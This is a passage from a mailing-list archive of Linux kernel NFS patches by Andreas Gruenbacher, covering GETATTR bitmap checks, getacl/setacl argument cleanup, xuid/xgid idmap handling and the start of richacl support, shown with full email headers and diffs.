* @xdr: pointer to xdr_stream * -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AAB427FF9 for ; Fri, 16 Oct 2015 10:23:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 53875AC004 for ; Fri, 16 Oct 2015 08:23:27 -0700 (PDT) X-ASG-Debug-ID: 1445009006-04bdf06db172d20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id slTChW8By1n3ldLl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:26 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 16D0496C3; Fri, 16 Oct 2015 15:23:26 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcR011947; Fri, 16 Oct 2015 11:23:20 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 44/48] nfs: Fix GETATTR bitmap verification Date: Fri, 16 Oct 2015 17:18:22 +0200 X-ASG-Orig-Subj: [PATCH v11 44/48] nfs: Fix GETATTR bitmap verification Message-Id: <1445008706-15115-45-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445009006 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When decoding GETATTR replies, the client checks the attribute bitmap for which attributes the server has sent. It misses bits at the word boundaries, though; fix that. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4xdr.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 788adf3..6f6d921 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -4375,6 +4375,11 @@ static int decode_statfs(struct xdr_stream *xdr, struct nfs_fsstat *fsstat) goto xdr_error; if ((status = decode_attr_files_total(xdr, bitmap, &fsstat->tfiles)) != 0) goto xdr_error; + + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + if ((status = decode_attr_space_avail(xdr, bitmap, &fsstat->abytes)) != 0) goto xdr_error; if ((status = decode_attr_space_free(xdr, bitmap, &fsstat->fbytes)) != 0) @@ -4574,6 +4579,10 @@ static int decode_getfattr_attrs(struct xdr_stream *xdr, uint32_t *bitmap, goto xdr_error; fattr->valid |= status; + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + status = decode_attr_mode(xdr, bitmap, &fmode); if (status < 0) goto xdr_error; @@ -4627,6 +4636,10 @@ static int decode_getfattr_attrs(struct xdr_stream *xdr, uint32_t *bitmap, goto xdr_error; fattr->valid |= status; + status = -EIO; + if (unlikely(bitmap[1])) + goto xdr_error; + status = decode_attr_mdsthreshold(xdr, bitmap, fattr->mdsthreshold); if (status < 0) goto xdr_error; @@ -4789,12 +4802,22 @@ static int decode_fsinfo(struct xdr_stream *xdr, struct nfs_fsinfo *fsinfo) if ((status = decode_attr_maxwrite(xdr, bitmap, &fsinfo->wtmax)) != 0) goto xdr_error; fsinfo->wtpref = fsinfo->wtmax; + + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + status = decode_attr_time_delta(xdr, bitmap, &fsinfo->time_delta); if (status != 0) goto xdr_error; status = decode_attr_pnfstype(xdr, bitmap, &fsinfo->layouttype); if (status != 0) goto xdr_error; + + status = -EIO; + if (unlikely(bitmap[1])) + goto xdr_error; + status = decode_attr_layout_blksize(xdr, bitmap, &fsinfo->blksize); if (status) goto xdr_error; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 757227FF9 for ; Fri, 16 Oct 2015 10:23:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 579D5304062 for ; Fri, 16 Oct 2015 08:23:34 -0700 (PDT) X-ASG-Debug-ID: 1445009012-04cbb035aa43a20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6qGZpzHBiUygeHIo (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:33 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id B31E5C0B64AB; Fri, 16 Oct 2015 15:23:32 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcS011947; Fri, 16 Oct 2015 11:23:26 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 45/48] nfs: Remove unused xdr page offsets in getacl/setacl arguments Date: Fri, 16 Oct 2015 17:18:23 +0200 X-ASG-Orig-Subj: [PATCH v11 45/48] nfs: Remove unused xdr page offsets in getacl/setacl arguments Message-Id: <1445008706-15115-46-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445009013 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The arguments passed around for getacl and setacl xdr encoding, struct nfs_setaclargs and struct nfs_getaclargs, both contain an array of pages, an offset into the first page, and the length of the page data. The offset is unused as it is always zero; remove it. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4proc.c | 5 ++--- fs/nfs/nfs4xdr.c | 4 ++-- include/linux/nfs_xdr.h | 2 -- 3 files changed, 4 insertions(+), 7 deletions(-) diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index 5133bb1..eec5c4c 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -4530,7 +4530,7 @@ static inline int nfs4_server_supports_acls(struct nfs_server *server) #define NFS4ACL_MAXPAGES DIV_ROUND_UP(XATTR_SIZE_MAX, PAGE_SIZE) static int buf_to_pages_noslab(const void *buf, size_t buflen, - struct page **pages, unsigned int *pgbase) + struct page **pages) { struct page *newpage, **spages; int rc = 0; @@ -4674,7 +4674,6 @@ static ssize_t __nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t bu goto out_free; args.acl_len = npages * PAGE_SIZE; - args.acl_pgbase = 0; dprintk("%s buf %p buflen %zu npages %d args.acl_len %zu\n", __func__, buf, buflen, npages, args.acl_len); @@ -4766,7 +4765,7 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl return -EOPNOTSUPP; if (npages > ARRAY_SIZE(pages)) return -ERANGE; - i = buf_to_pages_noslab(buf, buflen, arg.acl_pages, &arg.acl_pgbase); + i = buf_to_pages_noslab(buf, buflen, arg.acl_pages); if (i < 0) return i; nfs4_inode_return_delegation(inode); diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 6f6d921..eefed15 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -1659,7 +1659,7 @@ encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compoun *p = cpu_to_be32(FATTR4_WORD0_ACL); p = reserve_space(xdr, 4); *p = cpu_to_be32(arg->acl_len); - xdr_write_pages(xdr, arg->acl_pages, arg->acl_pgbase, arg->acl_len); + xdr_write_pages(xdr, arg->acl_pages, 0, arg->acl_len); } static void @@ -2491,7 +2491,7 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, - args->acl_pages, args->acl_pgbase, args->acl_len); + args->acl_pages, 0, args->acl_len); encode_nops(&hdr); } diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 52faf7e..090ade4 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -685,7 +685,6 @@ struct nfs_setaclargs { struct nfs4_sequence_args seq_args; struct nfs_fh * fh; size_t acl_len; - unsigned int acl_pgbase; struct page ** acl_pages; }; @@ -697,7 +696,6 @@ struct nfs_getaclargs { struct nfs4_sequence_args seq_args; struct nfs_fh * fh; size_t acl_len; - unsigned int acl_pgbase; struct page ** acl_pages; }; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0A35D7FF2 for ; Fri, 16 Oct 2015 10:23:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D07E0304053 for ; Fri, 16 Oct 2015 08:23:40 -0700 (PDT) X-ASG-Debug-ID: 1445009019-04bdf06db472d60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HGsY6oAQQPySrKKL (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:39 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 40E97A8A; Fri, 16 Oct 2015 15:23:39 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcT011947; Fri, 16 Oct 2015 11:23:33 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 46/48] nfs: Distinguish missing users and groups from nobody Date: Fri, 16 Oct 2015 17:18:24 +0200 X-ASG-Orig-Subj: [PATCH v11 46/48] nfs: Distinguish missing users and groups from nobody Message-Id: <1445008706-15115-47-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445009019 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 User and group names are mapped to IDs using the kernel keyring infrastructure. When a name does not exist, it is mapped to the nobody user or group; there is no way to tell the difference from the mapping result. In ACLs, we need to make that distinction. For that, use the new "xuid" and "xgid" maps: they behave like the old "uid" and "gid" maps except that the IDs of existing users and groups are prefixed by a "+" sign. When the "xuid" or "xgid" maps are not supported, nfs falls back to the "uid" and "gid" maps. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4idmap.c | 57 ++++++++++++++++++++++++++++++++++++++--------- fs/nfs/nfs4xdr.c | 6 +++-- include/linux/nfs_fs_sb.h | 1 + 3 files changed, 52 insertions(+), 12 deletions(-) diff --git a/fs/nfs/nfs4idmap.c b/fs/nfs/nfs4idmap.c index 2e49022..34dd404 100644 --- a/fs/nfs/nfs4idmap.c +++ b/fs/nfs/nfs4idmap.c @@ -100,10 +100,12 @@ static bool nfs_fattr_map_owner_name(struct nfs_server *server, struct nfs_fattr { struct nfs4_string *owner = fattr->owner_name; kuid_t uid; + int ret; if (!(fattr->valid & NFS_ATTR_FATTR_OWNER_NAME)) return false; - if (nfs_map_name_to_uid(server, owner->data, owner->len, &uid) == 0) { + ret = nfs_map_name_to_uid(server, owner->data, owner->len, &uid); + if (ret == 0 || ret == -ENOENT) { fattr->uid = uid; fattr->valid |= NFS_ATTR_FATTR_OWNER; } @@ -114,10 +116,12 @@ static bool nfs_fattr_map_group_name(struct nfs_server *server, struct nfs_fattr { struct nfs4_string *group = fattr->group_name; kgid_t gid; + int ret; if (!(fattr->valid & NFS_ATTR_FATTR_GROUP_NAME)) return false; - if (nfs_map_group_to_gid(server, group->data, group->len, &gid) == 0) { + ret = nfs_map_group_to_gid(server, group->data, group->len, &gid); + if (ret == 0 || ret == -ENOENT) { fattr->gid = gid; fattr->valid |= NFS_ATTR_FATTR_GROUP; } @@ -351,20 +355,23 @@ static ssize_t nfs_idmap_lookup_name(__u32 id, const char *type, char *buf, } /* Name -> ID */ +/* Returns -ENOENT for unknown names (with @id set to the nobody id). */ static int nfs_idmap_lookup_id(const char *name, size_t namelen, const char *type, __u32 *id, struct idmap *idmap) { - char id_str[NFS_UINT_MAXLEN]; + char id_str[NFS_UINT_MAXLEN + 1]; long id_long; ssize_t data_size; int ret = 0; - data_size = nfs_idmap_get_key(name, namelen, type, id_str, NFS_UINT_MAXLEN, idmap); + data_size = nfs_idmap_get_key(name, namelen, type, id_str, sizeof(id_str), idmap); if (data_size <= 0) { ret = -EINVAL; } else { ret = kstrtol(id_str, 10, &id_long); *id = (__u32)id_long; + if (!ret && *id_str != '+') + ret = -ENOENT; } return ret; } @@ -719,9 +726,24 @@ int nfs_map_name_to_uid(const struct nfs_server *server, const char *name, size_ __u32 id = -1; int ret = 0; - if (!nfs_map_string_to_numeric(name, namelen, &id)) - ret = nfs_idmap_lookup_id(name, namelen, "uid", &id, idmap); - if (ret == 0) { + if (!nfs_map_string_to_numeric(name, namelen, &id)) { + struct nfs_client *client = server->nfs_client; + const char *type; + + for(;;) { + type = "xuid"; + if (test_bit(NFS_CS_NOXUID, &client->cl_flags)) + type = "uid"; + + ret = nfs_idmap_lookup_id(name, namelen, type, &id, idmap); + if (ret != -EINVAL || test_bit(NFS_CS_NOXUID, &client->cl_flags)) + break; + printk(KERN_NOTICE "NFS: Falling back from nfsidmap " + "xuid/xgid to uid/gid\n"); + set_bit(NFS_CS_NOXUID, &client->cl_flags); + } + } + if (ret == 0 || ret == -ENOENT) { *uid = make_kuid(&init_user_ns, id); if (!uid_valid(*uid)) ret = -ERANGE; @@ -736,9 +758,24 @@ int nfs_map_group_to_gid(const struct nfs_server *server, const char *name, size __u32 id = -1; int ret = 0; - if (!nfs_map_string_to_numeric(name, namelen, &id)) - ret = nfs_idmap_lookup_id(name, namelen, "gid", &id, idmap); - if (ret == 0) { + if (!nfs_map_string_to_numeric(name, namelen, &id)) { + struct nfs_client *client = server->nfs_client; + const char *type; + + for(;;) { + type = "xgid"; + if (test_bit(NFS_CS_NOXUID, &client->cl_flags)) + type = "gid"; + + ret = nfs_idmap_lookup_id(name, namelen, type, &id, idmap); + if (ret != -EINVAL || test_bit(NFS_CS_NOXUID, &client->cl_flags)) + break; + printk(KERN_NOTICE "NFS: Falling back from nfsidmap " + "xuid/xgid to uid/gid\n"); + set_bit(NFS_CS_NOXUID, &client->cl_flags); + } + } + if (ret == 0 || ret == -ENOENT) { *gid = make_kgid(&init_user_ns, id); if (!gid_valid(*gid)) ret = -ERANGE; diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index eefed15..adeb894 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -3875,7 +3875,8 @@ static int decode_attr_owner(struct xdr_stream *xdr, uint32_t *bitmap, ret = NFS_ATTR_FATTR_OWNER_NAME; } } else if (len < XDR_MAX_NETOBJ) { - if (nfs_map_name_to_uid(server, (char *)p, len, uid) == 0) + ret = nfs_map_name_to_uid(server, (char *)p, len, uid); + if (ret == 0 || ret == -ENOENT) ret = NFS_ATTR_FATTR_OWNER; else dprintk("%s: nfs_map_name_to_uid failed!\n", @@ -3918,7 +3919,8 @@ static int decode_attr_group(struct xdr_stream *xdr, uint32_t *bitmap, ret = NFS_ATTR_FATTR_GROUP_NAME; } } else if (len < XDR_MAX_NETOBJ) { - if (nfs_map_group_to_gid(server, (char *)p, len, gid) == 0) + ret = nfs_map_group_to_gid(server, (char *)p, len, gid); + if (ret == 0 || ret == -ENOENT) ret = NFS_ATTR_FATTR_GROUP; else dprintk("%s: nfs_map_group_to_gid failed!\n", diff --git a/include/linux/nfs_fs_sb.h b/include/linux/nfs_fs_sb.h index 570a7df..c7d42b7 100644 --- a/include/linux/nfs_fs_sb.h +++ b/include/linux/nfs_fs_sb.h @@ -36,6 +36,7 @@ struct nfs_client { #define NFS_CS_RENEWD 3 /* - renewd started */ #define NFS_CS_STOP_RENEW 4 /* no more state to renew */ #define NFS_CS_CHECK_LEASE_TIME 5 /* need to check lease time */ +#define NFS_CS_NOXUID 6 /* don't use idmap xuid / xgid */ unsigned long cl_flags; /* behavior switches */ #define NFS_CS_NORESVPORT 0 /* - use ephemeral src port */ #define NFS_CS_DISCRTRY 1 /* - disconnect on RPC retry */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ABC4F7FE5 for ; Fri, 16 Oct 2015 10:23:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8B90D8F8068 for ; Fri, 16 Oct 2015 08:23:50 -0700 (PDT) X-ASG-Debug-ID: 1445009026-04cbb035ab43a40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xgE5YszK43gHMj8q (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:46 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id C7614344F67; Fri, 16 Oct 2015 15:23:45 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcU011947; Fri, 16 Oct 2015 11:23:39 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 47/48] nfs: Add richacl support Date: Fri, 16 Oct 2015 17:18:25 +0200 X-ASG-Orig-Subj: [PATCH v11 47/48] nfs: Add richacl support Message-Id: <1445008706-15115-48-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445009026 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add support for the "system.richacl" xattr in nfs. The existing "system.nfs4_acl" xattr on nfs doesn't map user and group names to uids and gids; the "system.richacl" xattr does, and only keeps the on-the-wire names when there is no mapping. This allows to copy permissions across different file systems. Signed-off-by: Andreas Gruenbacher --- fs/nfs/inode.c | 3 - fs/nfs/nfs4proc.c | 731 ++++++++++++++++++++++++++++++++++------------ fs/nfs/nfs4xdr.c | 178 +++++++++-- fs/nfs/super.c | 4 +- include/linux/nfs_fs.h | 1 - include/linux/nfs_fs_sb.h | 2 + include/linux/nfs_xdr.h | 9 +- 7 files changed, 701 insertions(+), 227 deletions(-) diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c index 326d9e1..843d15d 100644 --- a/fs/nfs/inode.c +++ b/fs/nfs/inode.c @@ -1852,9 +1852,6 @@ struct inode *nfs_alloc_inode(struct super_block *sb) return NULL; nfsi->flags = 0UL; nfsi->cache_validity = 0UL; -#if IS_ENABLED(CONFIG_NFS_V4) - nfsi->nfs4_acl = NULL; -#endif /* CONFIG_NFS_V4 */ return &nfsi->vfs_inode; } EXPORT_SYMBOL_GPL(nfs_alloc_inode); diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index eec5c4c..7bb2dea 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -55,6 +55,9 @@ #include #include #include +#include +#include +#include #include "nfs4_fs.h" #include "delegation.h" @@ -2982,15 +2985,18 @@ static int _nfs4_server_capabilities(struct nfs_server *server, struct nfs_fh *f res.attr_bitmask[2] &= FATTR4_WORD2_NFS42_MASK; } memcpy(server->attr_bitmask, res.attr_bitmask, sizeof(server->attr_bitmask)); - server->caps &= ~(NFS_CAP_ACLS|NFS_CAP_HARDLINKS| - NFS_CAP_SYMLINKS|NFS_CAP_FILEID| + server->caps &= ~(NFS_CAP_ALLOW_ACLS|NFS_CAP_DENY_ACLS| + NFS_CAP_HARDLINKS|NFS_CAP_SYMLINKS|NFS_CAP_FILEID| NFS_CAP_MODE|NFS_CAP_NLINK|NFS_CAP_OWNER| NFS_CAP_OWNER_GROUP|NFS_CAP_ATIME| NFS_CAP_CTIME|NFS_CAP_MTIME| NFS_CAP_SECURITY_LABEL); - if (res.attr_bitmask[0] & FATTR4_WORD0_ACL && - res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) - server->caps |= NFS_CAP_ACLS; + if (res.attr_bitmask[0] & FATTR4_WORD0_ACL) { + if (res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) + server->caps |= NFS_CAP_ALLOW_ACLS; + if (res.acl_bitmask & ACL4_SUPPORT_DENY_ACL) + server->caps |= NFS_CAP_DENY_ACLS; + } if (res.has_links != 0) server->caps |= NFS_CAP_HARDLINKS; if (res.has_symlinks != 0) @@ -4518,45 +4524,11 @@ static int nfs4_proc_renew(struct nfs_client *clp, struct rpc_cred *cred) return 0; } -static inline int nfs4_server_supports_acls(struct nfs_server *server) -{ - return server->caps & NFS_CAP_ACLS; -} - -/* Assuming that XATTR_SIZE_MAX is a multiple of PAGE_SIZE, and that - * it's OK to put sizeof(void) * (XATTR_SIZE_MAX/PAGE_SIZE) bytes on - * the stack. +/* A arbitrary limit; we allocate at most DIV_ROUND_UP(NFS4ACL_SIZE_MAX, + * PAGE_SIZE) pages and put an array of DIV_ROUND_UP(NFS4ACL_SIZE_MAX, + * PAGE_SIZE) pages on the stack when encoding or decoding acls. */ -#define NFS4ACL_MAXPAGES DIV_ROUND_UP(XATTR_SIZE_MAX, PAGE_SIZE) - -static int buf_to_pages_noslab(const void *buf, size_t buflen, - struct page **pages) -{ - struct page *newpage, **spages; - int rc = 0; - size_t len; - spages = pages; - - do { - len = min_t(size_t, PAGE_SIZE, buflen); - newpage = alloc_page(GFP_KERNEL); - - if (newpage == NULL) - goto unwind; - memcpy(page_address(newpage), buf, len); - buf += len; - buflen -= len; - *pages++ = newpage; - rc++; - } while (buflen != 0); - - return rc; - -unwind: - for(; rc > 0; rc--) - __free_page(spages[rc-1]); - return -ENOMEM; -} +#define NFS4ACL_SIZE_MAX 65536 struct nfs4_cached_acl { int cached; @@ -4564,66 +4536,9 @@ struct nfs4_cached_acl { char data[0]; }; -static void nfs4_set_cached_acl(struct inode *inode, struct nfs4_cached_acl *acl) -{ - struct nfs_inode *nfsi = NFS_I(inode); - - spin_lock(&inode->i_lock); - kfree(nfsi->nfs4_acl); - nfsi->nfs4_acl = acl; - spin_unlock(&inode->i_lock); -} - static void nfs4_zap_acl_attr(struct inode *inode) { - nfs4_set_cached_acl(inode, NULL); -} - -static inline ssize_t nfs4_read_cached_acl(struct inode *inode, char *buf, size_t buflen) -{ - struct nfs_inode *nfsi = NFS_I(inode); - struct nfs4_cached_acl *acl; - int ret = -ENOENT; - - spin_lock(&inode->i_lock); - acl = nfsi->nfs4_acl; - if (acl == NULL) - goto out; - if (buf == NULL) /* user is just asking for length */ - goto out_len; - if (acl->cached == 0) - goto out; - ret = -ERANGE; /* see getxattr(2) man page */ - if (acl->len > buflen) - goto out; - memcpy(buf, acl->data, acl->len); -out_len: - ret = acl->len; -out: - spin_unlock(&inode->i_lock); - return ret; -} - -static void nfs4_write_cached_acl(struct inode *inode, struct page **pages, size_t pgbase, size_t acl_len) -{ - struct nfs4_cached_acl *acl; - size_t buflen = sizeof(*acl) + acl_len; - - if (buflen <= PAGE_SIZE) { - acl = kmalloc(buflen, GFP_KERNEL); - if (acl == NULL) - goto out; - acl->cached = 1; - _copy_from_pages(acl->data, pages, pgbase, acl_len); - } else { - acl = kmalloc(sizeof(*acl), GFP_KERNEL); - if (acl == NULL) - goto out; - acl->cached = 0; - } - acl->len = acl_len; -out: - nfs4_set_cached_acl(inode, acl); + forget_cached_richacl(inode); } /* @@ -4636,121 +4551,269 @@ out: * length. The next getxattr call will then produce another round trip to * the server, this time with the input buf of the required size. */ -static ssize_t __nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) +static struct richacl *__nfs4_get_acl_uncached(struct inode *inode) { - struct page *pages[NFS4ACL_MAXPAGES] = {NULL, }; + struct nfs_server *server = NFS_SERVER(inode); + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE)] = {}; struct nfs_getaclargs args = { .fh = NFS_FH(inode), .acl_pages = pages, - .acl_len = buflen, + .acl_len = ARRAY_SIZE(pages) * PAGE_SIZE, }; struct nfs_getaclres res = { - .acl_len = buflen, + .server = server, }; struct rpc_message msg = { .rpc_proc = 